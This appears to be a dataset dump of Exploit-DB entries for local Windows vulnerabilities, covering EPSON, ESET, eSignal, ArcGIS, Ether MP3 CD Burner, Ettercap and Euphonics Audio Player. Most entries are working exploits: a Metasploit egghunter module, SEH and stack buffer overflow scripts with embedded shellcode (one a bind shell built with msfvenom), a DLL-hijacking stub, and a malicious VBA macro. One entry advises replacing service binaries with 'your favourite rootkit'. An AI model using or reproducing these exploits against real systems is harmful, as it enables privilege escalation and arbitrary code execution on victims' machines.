deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9305
Description: EPSON Status Monitor 3 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-07-30
Author: Nine:Situations:Group

Exploit:
------- EPSON Status Monitor 3 local privilege escalation vulnerability --------
by Nine:Situations:Group::bruiser
site: http://retrogod.altervista.org/
--------------------------------------------------------------------------------
After that pyrokinesis found: http://www.milw0rm.com/exploits/9199
I prepared a tool to check for weak permissions and I come out with this:

C:\>sc qc EPSON_EB_RPCV4_01
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EPSON_EB_RPCV4_01
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : EPSON V5 Service4(01)
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem

C:\>CACLS "C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE"
C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE Everyone:F <------[ :( !!!]

C:\>SC QC EPSON_PM_RPCV4_01
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: EPSON_PM_RPCV4_01
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : EPSON V3 Service4(01)
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem

C:\>CACLS "C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE"
C:\Documents and Settings\All Users\Application Data\EPSON\EPW!3 SSRP\E_S40RP7.EXE Everyone:F <------[ :( !!!]

The executable files are installed with "full control" for Everyone; replace
them with your favourite rootkit.
They are carried by an EPSON STYLUS SX100 drivers cd. C'mon guys, no need for an
exploit code, it can be triggered by the availiable command line tools.

--------------------------------------------------------------------------------

# milw0rm.com [2009-07-30]
Exploit-DB #49548
Description: Epson USB Display 1.6.0.0 - 'EMP_UDSA' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-02-09
Author: Hector Gerbacio

Exploit:
# Exploit Title: Epson USB Display 1.6.0.0 - 'EMP_UDSA' Unquoted Service Path
# Discovery by: Hector Gerbacio
# Discovery Date: 2021-02-05
# Vendor Homepage: https://epson.com.mx/
# Tested Version: 1.6.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 con Bing

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "EMP_UDSA" | findstr /i /v """
EMP_UDSA		EMP_UDSA		C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe			Auto

# Service info:

C:\>sc qc EMP_UDSA
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: EMP_UDSA
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\EPSON Projector\Epson USB Display V1.6\EMP_UDSA.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : EMP_UDSA
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #51964
Description: ESET NOD32 Antivirus 17.0.16.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2024-04-03
Author: Milad karimi

Exploit:
# Exploit Title: ESET NOD32 Antivirus 17.0.16.0 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2024-04-01
# Vendor : https://www.eset.com
# Version : 17.0.16.0
# Tested on OS: Microsoft Windows 10 pro x64

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

ESET Updater ESETServiceSvc C:\Program Files (x86)\ESET\ESET
Security\ekrn.exe

C:\>sc qc ekrn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ekrn
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"
        LOAD_ORDER_GROUP   : Base
        TAG                : 0
        DISPLAY_NAME       : ESET Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name:  Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
Exploit-DB #51351
Description: ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-08
Author: Milad karimi

Exploit:
# Exploit Title: ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Exploit Date: 2023-04-05
# Vendor : https://www.eset.com
# Version : 16.0.26.0
# Tested on OS: Microsoft Windows 11 pro x64

#PoC :
==============

C:\>sc qc ekrn
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ekrn
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"
        LOAD_ORDER_GROUP   : Base
        TAG                : 0
        DISPLAY_NAME       : ESET Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #7516
Description: ESET Smart Security 3.0.672 - 'epfw.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-12-18
Author: NT Internals

Exploit:
////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | ESET, LLC. - http://www.eset.com/                                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | ESET Smart Security <= 3.0.672                                             | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Eset Personal Firewall driver - epfw.sys <= 3.0.672.0                      | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 18 December 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////
 
Exploit:
http://www.ntinternals.org/ntiadv0807/Epfw_Exp.zip
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7516.zip (2008-Epfw_Exp.zip)
 
Advisory:
http://www.ntinternals.org/ntiadv0807/ntiadv0807.html

# milw0rm.com [2008-12-18]
Exploit-DB #17880
Description: eSignal and eSignal Pro 10.6.2425.1208 - File Parsing Buffer Overflow in QUO (Metasploit)
Type: local
Platform: windows
Date: 2011-09-20
Author: Metasploit

Exploit:
##
# $Id: esignal_styletemplate_bof.rb 13765 2011-09-20 17:39:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
			'Description'    => %q{
				The software is unable to handle the "<StyleTemplate>" files (even
				those original included in the program) like those with the registered
				extensions QUO, SUM and POR. Successful exploitation of this vulnerability
				may take up to several seconds due to the use of egghunter.  Also, DEP
				bypass is unlikely due to the limited space for payload.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma',                          # Original discovery
					'TecR0c <tecr0c[at]tecninja.net>',         # msf
					'mr_me <steventhomasseeley[at]gmai.com>',  # msf
				],
			'Version'       => '$Revision: 13765 $',
			'References'    =>
				[
					#[ 'CVE', '?' ],
					#[ 'OSVDB', '?' ],
					[ 'BID', '49600' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00"
				},

			'Targets'        =>
				[
					[
						'Win XP SP3 / Windows Vista / Windows 7',
						{
							'Ret'     =>  0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
							'Offset'  =>  54
						}
					],
				],
			'Privileged'	 => false,
			'DisclosureDate' => 'Sep 06 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
			], self.class)

	end

	def exploit
		eggoptions = 
		{
			:checksum => false,
			:eggtag => 'eggz' 
		}

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		buffer =  rand_text_alpha(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << rand_text_alpha_upper(4)
		buffer << hunter
		buffer << rand_text_alpha_upper(1500)
		buffer << egg

		file = "<StyleTemplate>\r\n"
		file << "#{buffer}\r\n"
		file << "</StyleTemplate>\r\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(file)
	end
end
Exploit-DB #19138
Description: ESRI ArcGIS 10.0.x / ArcMap 9 - Arbitrary Code Execution
Type: local
Platform: windows
Date: 2012-06-14
Author: Boston Cyber Defense

Exploit:
=====
TITLE
=====

ESRI ArcMap Arbitrary Code Execution Via Crafted Map File

============
Description:
============

Opening a specially crafted mxd file will execute arbitrary
code without prompting and without a crash of the application.
This is due to a flaw in the programs ability to prompt a user
before executing embedded VBA. Mxd files are not filtered by
email systems so this allows a remote attacker to trick a user
into opening a map file via email and unknowingly gain control
over their system.

===============================
Versions affected (maybe more):
===============================
ArcMap 9

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.1.2800
ArcGIS Service Pack: 1 (build 10.0.1.2800)

ArcGIS Desktop 10
Release Version: 10.0
Product Version: 10.0.2.3200
ArcGIS Service Pack: 2 (build 10.0.2.3200)

=================
Proof of concept:
=================

If the following macro is implemented in the project
the Shell statements will be executed when the
document is opened without prompt.

Private Function MxDocument_OpenDocument() As Boolean
Shell "calc.exe", vbNormalFocus
Shell "cmd /c start
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",
vbNormalFocus
End Function

Video at site:

http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661
Exploit-DB #50332
Description: Ether_MP3_CD_Burner 1.3.8 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2021-09-27
Author: stresser

Exploit:
# Exploit Title: Ether_MP3_CD_Burner 1.3.8 - Buffer Overflow (SEH)
# Date: 24.09.2021
# Software Link:   https://mp3-avi-mpeg-wmv-rm-to-audio-cd-burner.software.informer.com/download/?caa8ec-1.2
# Software Link 2: https://anonfiles.com/X2Ff36J6ue/ether_cd_burner_exe
# Exploit Author: Achilles
# Tested Version: 1.3.8
# Tested on: Windows 7 64bit

# 1.- Run python code : Ether_MP3_CD_Burner.py
# 2.- Open EVIL.txt and copy All content to Clipboard
# 3.- Open Ether_MP3_CD_Burner and press Register
# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field'
# 5.- Click 'OK'
# 6.- Nc.exe Local IP Port 3110 and you will have a bind shell
# 7.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer = "\x41" * 1008
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x10037859) #SkinMagic.dll
nops =  "\x90" * 20

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 =
-e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"=20
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
payload = buffer + nseh + seh + nops + shellcode

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #14762
Description: Ettercap NG-0.7.3 - 'wpcap.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: anonymous

Exploit:
/*
Exploit Title:  Ettercap NG-0.7.3 DLL hijacking (wpcap.dll)
Date: 25/08/2010
Author: Anonymous
Tested on: Windows XP SP3
Vulnerable extensions: .pcap
Compile and rename to wpcap.dll, create a file in the same dir .pcap extension
and visit http://chaossecurity.wordpress.com/
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)


DLLIMPORT void pcap_findalldevs() { evil(); }
DLLIMPORT void pcap_close() { evil(); }
DLLIMPORT void pcap_compile() { evil(); }
DLLIMPORT void pcap_datalink() { evil(); }
DLLIMPORT void pcap_datalink_val_to_description() { evil(); }
DLLIMPORT void pcap_dump() { evil(); }
DLLIMPORT void pcap_dump_close() { evil(); }
DLLIMPORT void pcap_dump_open() { evil(); }
DLLIMPORT void pcap_file() { evil(); }
DLLIMPORT void pcap_freecode() { evil(); }
DLLIMPORT void pcap_geterr() { evil(); }
DLLIMPORT void pcap_getevent() { evil(); }
DLLIMPORT void pcap_lib_version() { evil(); }
DLLIMPORT void pcap_lookupdev() { evil(); }
DLLIMPORT void pcap_lookupnet() { evil(); }
DLLIMPORT void pcap_loop() { evil(); }
DLLIMPORT void pcap_open_live() { evil(); }
DLLIMPORT void pcap_open_offline() { evil(); }
DLLIMPORT void pcap_setfilter() { evil(); }
DLLIMPORT void pcap_snapshot() { evil(); }
DLLIMPORT void pcap_stats() { evil(); }
int evil()

{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #7974
Description: Euphonics Audio Player 1.0 (Windows XP SP3) - '.pls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-02-04
Author: Single Eye

Exploit:
#include <stdio.h>
#include <windows.h>
#include <string.h>
#define overflow 1324
#define NOP 0x90
#define pls "Eye.pls"

int main (int argc,char **argv)
{
char winsp3[] = "\x7B\x46\x86\x7C";
char buffer[overflow];
FILE *Player;

unsigned char shellcode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xec"
"\x96\x7d\xb2\x83\xeb\xfc\xe2\xf4\x10\x7e\x39\xb2\xec\x96\xf6\xf7"
"\xd0\x1d\x01\xb7\x94\x97\x92\x39\xa3\x8e\xf6\xed\xcc\x97\x96\xfb"
"\x67\xa2\xf6\xb3\x02\xa7\xbd\x2b\x40\x12\xbd\xc6\xeb\x57\xb7\xbf"
"\xed\x54\x96\x46\xd7\xc2\x59\xb6\x99\x73\xf6\xed\xc8\x97\x96\xd4"
"\x67\x9a\x36\x39\xb3\x8a\x7c\x59\x67\x8a\xf6\xb3\x07\x1f\x21\x96"
"\xe8\x55\x4c\x72\x88\x1d\x3d\x82\x69\x56\x05\xbe\x67\xd6\x71\x39"
"\x9c\x8a\xd0\x39\x84\x9e\x96\xbb\x67\x16\xcd\xb2\xec\x96\xf6\xda"
"\xd0\xc9\x4c\x44\x8c\xc0\xf4\x4a\x6f\x56\x06\xe2\x84\x66\xf7\xb6"
"\xb3\xfe\xe5\x4c\x66\x98\x2a\x4d\x0b\xf5\x1c\xde\x8f\xb8\x18\xca"
"\x89\x96\x7d\xb2";

printf("\n******************************************");
printf("\n* THIS BUG ORGINAL DISCOVER BY h4ck3r#47 *");
printf("\n* THIS BUG C0DED BY SINGLE EYE           *");
printf("\n* SPECIAL THANKS TO STR0KE               *");
printf("\n******************************************");
memset(buffer,NOP,overflow);
memcpy(buffer,shellcode,sizeof(shellcode)-1);
buffer[overflow] = 0;
Player = fopen(pls,"w+");
fwrite(Player,sizeof(unsigned char),sizeof(buffer),Player);
fclose(Player);
printf("\n DOne Poc !!");
return 0;
}

// milw0rm.com [2009-02-04]
Exploit-DB #7958
Description: Euphonics Audio Player 1.0 - '.pls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-02-03
Author: h4ck3r#47

Exploit:
#!/usr/bin/perl -w
#-----------------------------------------------------------------------------
# Author : h4ck3r#47
# Euphonics Audio Player v1.0 (.pls) Local Buffer Overflow Exploit
# Tested in Windows Pro Sp3 (English)
# Gr33tz to : str0ke , T.N.T:18 , AlpHaNiX , All arab4services.net and friends
#-----------------------------------------------------------------------------
my $overflow = "\x41" x 1324;
my $ret = "\x7B\x46\x86\x7C"; # jmp ESP from kernel32.dll in Windows pro Sp3
my $nop = "\x90" x 100 ;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";

my $file="hx.pls";

$exploit = $overflow.$ret.$nop.$shellcode;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-02-03]
Exploit-DB #7973
Description: Euphonics Audio Player 1.0 - '.pls' Universal Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-02-04
Author: Houssamix

Exploit:
#!/usr/bin/perl -w
#-----------------------------------------------------------------------------
# Author : Houssamix

# Euphonics Audio Player v1.0 (.pls) Universal Local Buffer Overflow Exploit
# Gr33tz to : str0ke , real-power.net , Legend-spy - stack 

# thx to h4ck3r#47 for the fisrt exploit http://milw0rm.com/exploits/7958
# just the ret adress is changed for make the exploit universal

#-----------------------------------------------------------------------------
my $overflow = "\x41" x 1324;
my $ret = "\xCB\xA3\x0F\x10"; # jmp esp from AdjMmsEng.dll <= universal adress
my $nop = "\x90" x 100 ;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com/
my $shellcode =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x34".
"\x92\x42\x83\x83\xeb\xfc\xe2\xf4\xc8\x7a\x06\x83\x34\x92\xc9\xc6".
"\x08\x19\x3e\x86\x4c\x93\xad\x08\x7b\x8a\xc9\xdc\x14\x93\xa9\xca".
"\xbf\xa6\xc9\x82\xda\xa3\x82\x1a\x98\x16\x82\xf7\x33\x53\x88\x8e".
"\x35\x50\xa9\x77\x0f\xc6\x66\x87\x41\x77\xc9\xdc\x10\x93\xa9\xe5".
"\xbf\x9e\x09\x08\x6b\x8e\x43\x68\xbf\x8e\xc9\x82\xdf\x1b\x1e\xa7".
"\x30\x51\x73\x43\x50\x19\x02\xb3\xb1\x52\x3a\x8f\xbf\xd2\x4e\x08".
"\x44\x8e\xef\x08\x5c\x9a\xa9\x8a\xbf\x12\xf2\x83\x34\x92\xc9\xeb".
"\x08\xcd\x73\x75\x54\xc4\xcb\x7b\xb7\x52\x39\xd3\x5c\x62\xc8\x87".
"\x6b\xfa\xda\x7d\xbe\x9c\x15\x7c\xd3\xf1\x23\xef\x57\xbc\x27\xfb".
"\x51\x92\x42\x83";

my $file="hsmx.pls";

$exploit = $overflow.$ret.$nop.$shellcode;
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $exploit ;
close($FILE);
print "Done \n";

# milw0rm.com [2009-02-04]